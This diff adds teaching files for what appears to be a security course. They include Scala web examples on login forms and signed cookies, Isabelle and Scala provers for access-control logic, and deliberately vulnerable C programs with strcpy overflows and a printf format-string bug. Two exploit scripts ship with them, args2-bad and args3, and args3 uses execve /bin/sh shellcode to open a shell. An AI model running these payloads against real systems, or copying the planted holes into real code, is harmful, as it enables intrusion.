--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application0.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,23 @@
+package controllers
+
+import play.api.mvc._
+
+// hello world program
+// just answers the GET request with a string
+
+object Application extends Controller {
+
+ // answering a GET request
+ val index = Action { request =>
+
+ Ok("Hello world!")
+ }
+
+}
+
+/*
+ * HTML can be returned using
+ *
+ * OK("<H1>Hello world!</H1>").as(HTML)
+ *
+ */
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application1.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,38 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+
+/*
+ * Answers a GET-request by sending a simple login form.
+ *
+ * Processes the POST-data by just printing the results.
+ *
+ */
+
+object Application extends Controller {
+
+ // GET request -> login form
+ val index = Action { request =>
+
+ val form = """<form method="post">
+ Login: <input type="text" name="login"><br>
+ Password: <input type="password" name="password"><br>
+ <input type="submit"></form>"""
+
+ Ok(form).as(HTML)
+ }
+
+
+ // POST data: processing the login data
+ val receive = Action { request =>
+
+ val form_data = Form (tuple ("login" -> text, "password" -> text))
+ val (login, password) = form_data.bindFromRequest()(request).get
+
+ Ok("Received login: " + login + " and password: " + password)
+ }
+
+}
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application2.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,45 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ */
+
+object Application extends Controller {
+
+ //no or invalid cookie results in the counter being 0
+ def gt_cookie(c: Option[Cookie]) : Int = c.map(_.value) match {
+ case Some(s) if (s.forall(_.isDigit)) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = {
+ Cookie("visits", i.toString)
+ }
+
+ // GET request: read cookie data first
+ def index = Action { request =>
+
+ //reads the cookie and extracts the visits counter
+ val visits_cookie = request.cookies.get("visits")
+ val visits = gt_cookie(visits_cookie)
+
+ //printing a message according to value of visits counter
+ val msg1 = "You are a valued customer who has visited this site %d times."
+ val msg2 = "You have visited this site %d times."
+ val msg =
+ if (visits >= 10) msg1.format(visits) else msg2.format(visits)
+
+ //send message with new cookie
+ Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
+ }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application3.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,56 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+import java.security.MessageDigest
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ *
+ * The cookie data is hashed ans stored in the format:
+ *
+ * visits_counter/hashed_value
+ */
+
+object Application extends Controller {
+
+ //hash functions: SHA-1, SHA-256, etc
+ def mk_hash(s: String) : String = {
+ val hash_fun = MessageDigest.getInstance("SHA-1")
+ hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
+ }
+
+ //extracting from the string .../... the visits
+ //value and hash
+ def gt_cookie(c: Option[Cookie]) : Int =
+ c.map(_.value.split("/")) match {
+ case Some(Array(s, h))
+ if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = {
+ val s = i.toString
+ Cookie("visits", s + "/" + mk_hash(s))
+ }
+
+ def index = Action { request =>
+
+ val visits_cookie = request.cookies.get("visits")
+ val visits = gt_cookie(visits_cookie)
+
+ val msg1 = "You are a valued customer who has visited this site %d times."
+ val msg2 = "You have visited this site %d times."
+ val msg =
+ if (visits >= 10) msg1.format(visits) else msg2.format(visits)
+
+ Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
+ }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application4.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,59 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+import java.security.MessageDigest
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ *
+ * The cookie data is hashed and salted with a
+ * secret key.
+ */
+
+
+object Application extends Controller {
+
+ //secret key for salting - this key should not be
+ //sent to the client; the key should normally be
+ //a unguessable random number generated once
+ val salt = "my secret key"
+
+ //SHA-1 + salt
+ def mk_hash(s: String) : String = {
+ val hash_fun = MessageDigest.getInstance("SHA-1")
+ hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
+ }
+
+ def gt_cookie(c: Option[Cookie]) : Int =
+ c.map(_.value.split("/")) match {
+ case Some(Array(s, h))
+ if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = {
+ val s = i.toString
+ Cookie("visits", s + "/" + mk_hash(s))
+ }
+
+ def index = Action { request =>
+
+ val visits_cookie = request.cookies.get("visits")
+ val visits = gt_cookie(visits_cookie)
+
+ val msg1 = "You are a valued customer who has visited this site %d times."
+ val msg2 = "You have visited this site %d times."
+ val msg =
+ if (visits >= 10) msg1.format(visits) else msg2.format(visits)
+
+ Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
+ }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C0-long.c Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,47 @@
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+/*
+ I used as environment the virtual machine provided here
+
+ http://www.cis.upenn.edu/~cis551/box.tar
+
+ This is Debian/Etch with Linux 2.6.18 with gcc 4.1.2 from 2008.
+
+ Some installation notes for this virtual machine under VMWare
+ are here
+
+ http://www.cis.upenn.edu/~cis551/project1.pdf
+
+ I run the virtial machine under MacOSX using the program
+ VirtualBox available for free from
+
+ https://www.virtualbox.org
+
+ The C-program I compiled the program with
+
+ gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2
+
+ */
+
+
+void foo (char *bar)
+{
+ float my_float = 10.5; // in hex: \x41\x28\x00\x00
+ char buffer[28];
+
+ printf("my float value = %f\n", my_float);
+
+ strcpy(buffer, bar);
+
+ printf("my float value = %f\n", my_float);
+}
+
+int main (int argc, char **argv)
+{
+ foo("my string is too long !!!!! "); // all is normal
+ foo("my string is too long !!!!! \x10\x10\xc0\x42"); // overwrites my_float
+ return 0;
+}
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C0.c Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,23 @@
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+void foo (char *bar)
+{
+ float my_float = 10.5; // in hex: \x41\x28\x00\x00
+ char buffer[28];
+
+ printf("my float value = %f\n", my_float);
+
+ strcpy(buffer, bar);
+
+ printf("my float value = %f\n", my_float);
+}
+
+int main (int argc, char **argv)
+{
+ foo("my string is too long !!!!! "); // all is normal
+ //foo("my string is too long !!!!! \x10\x10\xc0\x42"); // overwrites my_float
+ return 0;
+}
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C1.c Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,32 @@
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+
+void foo (char *bar)
+{
+ float my_float = 10.5; // in hex: \x41\x28\x00\x00
+ char buffer[28];
+
+ printf("my float value = %f\n", my_float);
+ strcpy(buffer, bar);
+ printf("my float value = %f\n", my_float);
+}
+
+int main (int argc, char **argv)
+{
+ // only float overwritten
+ foo("my string is too long !!!!! \x10\x10\xc0\x42");
+ // also calls can_never_run
+ foo("my string is too long !!!!! \x10\x10\xc0\x42\x90\x90\x90\x90\x55\x84\x04\x08");
+ return 0;
+}
+
+// its address in my setup is \x08048455
+void can_never_run()
+{
+ printf("This can never be executed!\n");
+ exit(0);
+}
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C2.c Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,54 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// for installation notes see C0.c
+// this program can be called with
+//
+// ./args2-good | ./C2
+//
+// or
+//
+// ./args2-bad | ./C2
+
+
+int match(char *s1, char *s2) {
+ while( *s1 != '\0' && *s2 != 0 && *s1 == *s2 ){
+ s1++; s2++;
+ }
+ return( *s1 - *s2 );
+}
+
+// since gets() is insecure and produces lots of warnings,
+// I use my own input function instead ;o)
+char ch;
+int i;
+
+void get_line(char *dst) {
+ char buffer[8];
+ i = 0;
+ while ((ch = getchar()) != '\n') {
+ buffer[i++] = ch;
+ }
+ buffer[i] = '\0';
+ strcpy(dst, buffer);
+}
+
+void welcome() { printf("Welcome to the Machine!\n"); exit(0); }
+void goodbye() { printf("Invalid identity, exiting!\n"); exit(1); }
+
+main(){
+ char name[8];
+ char pw[8];
+
+ printf("login: ");
+ get_line(name);
+ printf("password: ");
+ get_line(pw);
+
+ if(match(name, pw) == 0)
+ welcome();
+ else
+ goodbye();
+}
+
Binary file Attic/programs/C3 has changed
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C3.c Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,19 @@
+#include<stdio.h>
+#include<string.h>
+
+// simple program used for a bufferflow attack
+//
+// for installation notes see C0.c
+//
+// can be called with
+//
+// ./C3 `./args3`
+
+main(int argc, char **argv)
+{
+ char buffer[80];
+
+ strcpy(buffer, argv[1]);
+
+ return 1;
+}
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C4.c Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,15 @@
+#include<stdio.h>
+#include<string.h>
+
+// a program that just prints the argument
+// on the command line
+//
+// try and run it with %s
+
+
+main(int argc, char **argv)
+{
+ char *string = "This is a secret string\n";
+
+ printf(argv[1]);
+}
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Engine.thy Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,67 @@
+theory Engin
+imports Main
+begin
+
+typedecl principal
+
+consts E :: principal
+consts T :: principal
+consts M :: principal
+
+consts Says :: "principal \<Rightarrow> bool \<Rightarrow> bool" ("_ says _" [101, 101] 100)
+consts Sends :: "principal \<Rightarrow> principal \<Rightarrow> bool \<Rightarrow> bool" ("_ sends _ : _" [100, 100, 100] 100)
+consts Enc :: "bool \<Rightarrow> bool \<Rightarrow> bool"
+consts Id :: "principal \<Rightarrow> bool"
+
+consts N :: "bool"
+consts K :: "bool"
+consts start_engine :: "principal \<Rightarrow> bool"
+
+
+axiomatization where
+ saysI[intro]: "F \<Longrightarrow> P says F" and
+ saysE[elim]: "\<lbrakk>P says (F1 \<longrightarrow> F2); P says F1\<rbrakk> \<Longrightarrow> P says F2" and
+ says_encI[intro]: "\<lbrakk>P says F1; P says F2\<rbrakk> \<Longrightarrow> P says (Enc F1 F2)" and
+ says_encE[elim]: "\<lbrakk>P says (Enc F1 F2); P says F2\<rbrakk> \<Longrightarrow> P says F1" and
+ sendsE[elim]: "\<lbrakk>P sends Q : F; P says F\<rbrakk> \<Longrightarrow> Q says F"
+
+
+lemma
+ assumes start: "E says N"
+ and challenge: "E sends T : N"
+ and response: "T says N \<longrightarrow> (T sends E : (Enc N K) \<and> T sends E : Id(T))"
+ and keyT: "T says K"
+ and idT: "T says Id T"
+ and engine: "(E says (Enc N K) \<and> E says Id(T)) \<longrightarrow> start_engine T"
+ shows "start_engine T"
+using assms
+by (metis says_encI sendsE)
+
+lemma
+ assumes start: "E says N"
+ and challenge: "\<forall>T. E sends T : N"
+ and response: "\<forall>N E. T says N \<longrightarrow> (T sends E : (Enc N K) \<and> T sends E : Id(T))"
+ and keyT: "T says K"
+ and idT: "T says Id T"
+ and engine: "\<forall>T. (E says (Enc N K) \<and> E says Id(T)) \<longrightarrow> start_engine T"
+ shows "start_engine M"
+using assms
+sorry
+(*by (metis saysE says_encE says_encI sendsE)*)
+
+lemma
+ assumes start: "E says N"
+ and challenge: "\<forall>T. E sends T : N"
+ and response: "\<forall>N E. T says N \<longrightarrow> (T sends E : (Enc N K) \<and> T sends E : Id T)"
+ and keyT: "T says K"
+ and idT: "T says Id T"
+ and engine: "\<forall>T. (E says (Enc N K) \<and> E says Id T) \<longrightarrow> start_engine T"
+ and middle1: "\<forall>N. M sends T : N"
+ and middle2: "\<forall>N'. M sends E : N'"
+ and middle3: "M says Id M"
+ shows "start_engine M"
+using assms
+
+by (metis saysE says_encE says_encI sendsE)
+
+end
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Says.thy Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,36 @@
+theory Says
+imports Main
+begin
+
+typedecl principal
+
+consts Admin :: principal
+consts Alice :: principal
+
+consts Says :: "principal \<Rightarrow> bool \<Rightarrow> bool" ("_ says _")
+consts del_file :: "bool"
+
+axiomatization where
+ saysI[intro]: "F \<Longrightarrow> P says F" and
+ saysE[elim]: "\<lbrakk>P says (F1 \<longrightarrow> F2); P says F1\<rbrakk> \<Longrightarrow> P says F2"
+
+lemma
+ assumes a1: "(Admin says del_file) \<longrightarrow> del_file"
+ and a2: "Admin says ((Alice says del_file) \<longrightarrow> del_file)"
+ and a3: "Alice says del_file"
+ shows "del_file"
+proof -
+ from a3 have "Admin says (Alice says del_file)" by (rule saysI)
+ with a2 have "Admin says del_file" by (rule saysE)
+ with a1 show "del_file" by (rule mp)
+qed
+
+lemma
+ assumes a1: "(Admin says del_file) \<longrightarrow> del_file"
+ and a2: "Admin says ((Alice says del_file) \<longrightarrow> del_file)"
+ and a3: "Alice says del_file"
+ shows "del_file"
+using a1 a2 a3 by auto
+
+
+end
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Send.thy Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,55 @@
+theory Send
+imports Main
+begin
+
+typedecl principal
+
+consts A :: principal
+consts S :: principal
+consts B :: principal
+
+consts Says :: "principal \<Rightarrow> bool \<Rightarrow> bool" ("_ says _")
+consts Sends :: "principal \<Rightarrow> principal \<Rightarrow> bool \<Rightarrow> bool" ("_ sends _ : _")
+consts Enc :: "bool \<Rightarrow> bool \<Rightarrow> bool"
+consts CAB :: "bool"
+consts KAB :: "bool"
+consts KAS :: "bool"
+consts KBS :: "bool"
+consts M :: "bool"
+
+axiomatization where
+ saysI[intro]: "F \<Longrightarrow> P says F" and
+ saysE[elim]: "\<lbrakk>P says (F1 \<longrightarrow> F2); P says F1\<rbrakk> \<Longrightarrow> P says F2" and
+ says_encI[intro]: "\<lbrakk>P says F1; P says F2\<rbrakk> \<Longrightarrow> P says (Enc F1 F2)" and
+ says_encE[elim]: "\<lbrakk>P says (Enc F1 F2); P says F2\<rbrakk> \<Longrightarrow> P says F1" and
+ sendsE[elim]: "\<lbrakk>P sends Q : F; P says F\<rbrakk> \<Longrightarrow> Q says F"
+
+lemma
+ assumes start: "A says CAB"
+ and msg1: "A sends S : CAB"
+ and serv1: "S says (CAB \<longrightarrow> Enc KAB KAS)"
+ and serv2: "S says (CAB \<longrightarrow> Enc (Enc KAB KBS) KAS)"
+ and msg2a: "S sends A : (Enc KAB KAS)"
+ and msg2b: "S sends A : (Enc (Enc KAB KBS) KAS)"
+ and msg3: "A sends B : (Enc KAB KBS)"
+ and msg4: "A sends B : (Enc M KAB)"
+ and keyA: "A says KAS"
+ and keyB: "B says KBS"
+ and keyS: "S says KAS"
+ and MA: "A says (Enc M KAB)"
+ shows "S says M"
+using assms
+
+by (metis saysE says_encE sendsE)
+
+by (metis saysE says_encE sendsE)
+
+by metis
+
+
+
+by (metis saysE says_encE sendsE)
+
+by (metis saysE says_encE sendsE)
+
+end
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/args2-bad Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+perl -e 'print "test\nAAAAAAAABBBB\xc8\x84\x04\x08\n"'
\ No newline at end of file
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/args2-good Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+perl -e 'print "test\ntest\n"'
\ No newline at end of file
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/args3 Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# shellscript that overwrites the buffer with
+# some payload for opening a shell (the payload
+# cannot contain any \x00)
+
+
+shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
+
+# 24 bytes of shellcode
+
+# "\x31\xc0" // xorl %eax,%eax
+# "\x50" // pushl %eax
+# "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
+# "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
+# "\x89\xe3" // movl %esp,%ebx
+# "\x99" // cltd
+# "\x52" // pushl %edx
+# "\x53" // pushl %ebx
+# "\x89\xe1" // movl %esp,%ecx
+# "\xb0\x0b" // movb $0xb,%al
+# "\xcd\x80" // int $0x80
+
+padding=`perl -e 'print "\x90" x 80'`
+
+# need s correct address in order to run
+printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/formulas.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,13 @@
+abstract class Term
+case class Var(s: String) extends Term
+case class Consts(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Neg(f: Form) extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/formulas1.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,14 @@
+abstract class Term
+case class Var(s: String) extends Term
+case class Consts(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Neg(f: Form) extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Says(s: String, f: Form) extends Form
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/formulas2.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,14 @@
+abstract class Term
+case class Var(s: String) extends Term
+case class Consts(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Neg(f: Form) extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Says(s: String, f: Form) extends Form
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/judgement.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,18 @@
+abstract class Term
+case class Var(s: String) extends Term
+case class Consts(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Neg(f: Form) extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+
+case class Judgement(Gamma: List[Form], F: Form) {
+ def lhs = Gamma
+ def rhs = F
+}
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/prove.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,121 @@
+
+abstract class Term
+case class Var(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+
+abstract class Form
+object True extends Form
+object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Controls(p: String, f: Form) extends Form
+
+case class Judgement(Gamma: List[Form], F: Form) {
+ def lhs = Gamma
+ def rhs = F
+}
+
+val Alice = "Alice"
+val Bob = "Bob"
+val Send = Pred("Send", Nil)
+
+val Gamma =
+ List( Imp(Says(Bob, Send), Send),
+ Says(Bob, Imp(Says(Alice, Send), Send)),
+ Says(Alice, Send) )
+
+val goal = Judgement(Gamma, Send)
+
+def sc () = { println ("Yes!") }
+
+class Main {
+
+def prove(j: Judgement, sc: () => Unit) : Unit = j match {
+ case Judgement(lhs, rhs) =>
+ { if (lhs.exists(f => f == rhs)) sc ()
+ else prove1(lhs, rhs, sc)
+ }
+}
+
+def partitions [A] (l: List[A]): List[(A, List[A])] =
+ l.map (s => (s, l - s))
+
+def prove1(lhs: List[Form], rhs: Form, sc: () => Unit) : Unit =
+ rhs match {
+ case Imp(f1, f2) => prove(Judgement(f1::lhs, f2), sc)
+ /*case Says(p, f) => prove(Judgement(lhs, f), sc)*/
+ /*case Controls(p, f) => prove(Judgement(lhs, f), sc)*/
+ case Or(f1, f2) => { prove(Judgement(lhs, f1), sc);
+ prove(Judgement(lhs, f2), sc) }
+ case And(f1, f2) => prove(Judgement(lhs, f1),
+ () => prove(Judgement(lhs, f2), sc))
+ case _ => { for ((f, lhs_rest) <- partitions(lhs))
+ prove2(f, lhs_rest, rhs, sc) }
+ }
+
+def prove2(f: Form, lhs_rest: List[Form], rhs: Form, sc: () => Unit) : Unit =
+ f match {
+ case Imp(f1, f2) =>
+ prove(Judgement(lhs_rest, f1),
+ () => prove(Judgement(f2::lhs_rest, rhs), sc))
+ case Says(p, Imp(f1, f2)) =>
+ prove(Judgement(lhs_rest, Says(p, f1)),
+ () => prove(Judgement(Says(p, f2)::lhs_rest, rhs), sc))
+ case Controls(p, f) =>
+ prove(Judgement(lhs_rest, Says(p, f)),
+ () => prove(Judgement(f::lhs_rest, rhs), sc))
+ case _ => ()
+ }
+
+}
+
+val main = new Main
+val Foo = Pred("Foo", Nil)
+
+main.prove (Judgement (Gamma, And(Foo, Send)), sc)
+main.prove (Judgement (Nil, Foo), sc)
+main.prove (Judgement (Nil, Imp(Send, Send)), sc)
+main.prove (Judgement (Gamma, Send), sc)
+main.prove (Judgement (Gamma, Foo), sc)
+
+val F1 = Imp(Says(Bob, Send), Send)
+val F2 = Says(Bob, Imp(Says(Alice, Send), Send))
+val F3 = Says(Alice, Send)
+
+main.prove (Judgement (Nil, Imp(F1, Imp(F2, Imp(F3, Send)))), sc)
+
+val Server = "Server"
+
+def Sends(p: String, q: String, f: Form) : Form =
+ Imp(Says(p, f), Says(q, f))
+
+def Enc(f: Form, k: Form) : Form = Imp(k, f)
+
+def Connect(p: String, q: String) : Form =
+ Pred("Connect", List(Var(p), Var(q)))
+
+val Msg = Pred("Msg", Nil)
+val Kas = Pred("Kas", Nil)
+val Kbs = Pred("Kbs", Nil)
+val Kab = Pred("Kab", Nil)
+
+val Gamma_big =
+ List( Says(Alice, Kas),
+ Says(Bob, Kbs),
+ Says(Alice, Msg),
+ Says(Alice, Connect(Alice, Bob)),
+ Sends(Alice, Server, Connect(Alice, Bob)),
+ Says(Server, Imp(Connect(Alice, Bob), Enc(Kab, Kas))),
+ Says(Server, Imp(Connect(Alice, Bob), Enc(Enc(Kab, Kbs), Kas))),
+ Sends(Server, Alice, Enc(Kab, Kas)),
+ Sends(Server, Alice, Enc(Enc(Kab, Kbs), Kas)),
+ Sends(Alice, Bob, Enc(Kab, Kbs)),
+ Sends(Alice, Bob, Enc(Msg, Kab))
+ )
+
+
+main.prove (Judgement(Gamma_big, Says(Bob, Msg)), sc)
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/prove1.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,119 @@
+
+abstract class Term
+case class Var(s: String) extends Term
+case class Const(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form {
+ def -> (that: Form) = Imp(this, that)
+}
+case object True extends Form
+case object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+
+case class Judgement(Gamma: List[Form], F: Form) {
+ def lhs = Gamma
+ def rhs = F
+}
+
+val Admin = "Admin"
+val Bob = "Bob"
+val Del = Pred("del_file", Nil)
+
+val Gamma =
+ List( Says(Admin, Del) -> Del,
+ Says(Admin, Says(Bob, Del) -> Del),
+ Says(Bob, Del) )
+
+val goal = Judgement(Gamma, Del) // request: provable or not?
+
+def partitions[A](ls: List[A]): List[(A, List[A])] =
+ ls.map (s => (s, ls diff List(s)))
+
+
+def prove(j: Judgement, sc: () => Unit) : Unit = {
+ if (j.lhs.contains(j.rhs)) sc() // Axiom rule
+ else prove1(j.lhs, j.rhs, sc)
+}
+
+def prove1(lhs: List[Form], rhs: Form, sc: () => Unit) : Unit =
+ rhs match {
+ case True => sc ()
+ case False => ()
+ case Imp(f1, f2) => prove(Judgement(f1::lhs, f2), sc)
+ case Says(p, f1) => prove(Judgement(lhs, f1), sc)
+ case Or(f1, f2) =>
+ { prove(Judgement(lhs, f1), sc);
+ prove(Judgement(lhs, f2), sc) }
+ case And(f1, f2) =>
+ prove(Judgement(lhs, f1),
+ () => prove(Judgement(lhs, f2), sc))
+ case _ => { for ((f, lhs_rest) <- partitions(lhs))
+ prove2(f, lhs_rest, rhs, sc) }
+ }
+
+def prove2(f: Form, lhs_rest: List[Form], rhs: Form, sc: () => Unit) : Unit =
+ f match {
+ case True => prove(Judgement(lhs_rest, rhs), sc)
+ case False => sc()
+ case And(f1, f2) =>
+ prove(Judgement(f1::f2::lhs_rest, rhs), sc)
+ case Imp(f1, f2) =>
+ prove(Judgement(lhs_rest, f1),
+ () => prove(Judgement(f2::lhs_rest, rhs), sc))
+ case Or(f1, f2) =>
+ prove(Judgement(f1::lhs_rest, rhs),
+ () => prove(Judgement(f2::lhs_rest, rhs), sc))
+ case Says(p, Imp(f1, f2)) =>
+ prove(Judgement(lhs_rest, Says(p, f1)),
+ () => prove(Judgement(Says(p, f2)::lhs_rest, rhs), sc))
+ case _ => ()
+ }
+
+
+
+// function that calls prove and returns immediately once a proof is found
+def run (j : Judgement) : Unit = {
+ try {
+ def sc () = { println ("Yes!"); throw new Exception }
+ prove(j, sc)
+ }
+ catch { case e: Exception => () }
+}
+
+run (Judgement (Nil, False -> Del))
+run (Judgement (Nil, True -> Del))
+run (Judgement (Nil, Del -> True))
+
+run (goal)
+
+val Gamma1 =
+ List( Says(Admin, Says(Bob, Del) -> Del),
+ Says(Bob, Del) )
+
+val goal1 = Judgement(Gamma1, Del) // not provable
+
+run (goal1)
+
+run (Judgement(Nil, Del -> Del))
+
+run (Judgement(Nil, Del -> Or(False, Del)))
+
+
+val Chr = "Christian"
+val HoD = "Peter"
+val Email = Pred("may_btain_email", List(Const(Chr)))
+val AtLib = Pred("is_at_library", List(Const(Chr)))
+val Chr_Staff = Pred("is_staff", List(Const(Chr)))
+
+val Policy_HoD = Says(HoD, Chr_Staff) -> Chr_Staff
+val Policy_Lib = And(Chr_Staff, AtLib) -> Email
+val HoD_says = Says(HoD, Chr_Staff)
+
+run (Judgement (List(AtLib, Policy_HoD, Policy_Lib, HoD_says), Email))
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/prove2.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,129 @@
+import scala.language.implicitConversions
+import scala.language.reflectiveCalls
+import scala.util._
+
+abstract class Term
+case class Var(s: String) extends Term
+case class Const(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+
+case class Judgement(gamma: Set[Form], f: Form) {
+ def lhs = gamma
+ def rhs = f
+}
+
+// some syntactic sugar
+implicit def FormOps(f1: Form) = new {
+ def -> (f2: Form) = Imp(f1, f2)
+}
+implicit def StringOps(p: String) = new {
+ def says (f: Form) = Says(p, f)
+}
+implicit def SetFormOps(gamma: Set[Form]) = new {
+ def |- (f: Form) : Judgement = Judgement(gamma, f)
+}
+
+val Admin = "Admin"
+val Bob = "Bob"
+val Del = Pred("del_file", Nil)
+
+val Gamma: Set[Form] =
+ Set( (Admin says Del) -> Del,
+ Admin says ((Bob says Del) -> Del),
+ Bob says Del )
+
+val goal = Gamma |- Del // request: provable or not?
+
+def partitions[A](s: Set[A]): Set[(A, Set[A])] =
+ s.map (e => (e, s - e))
+
+
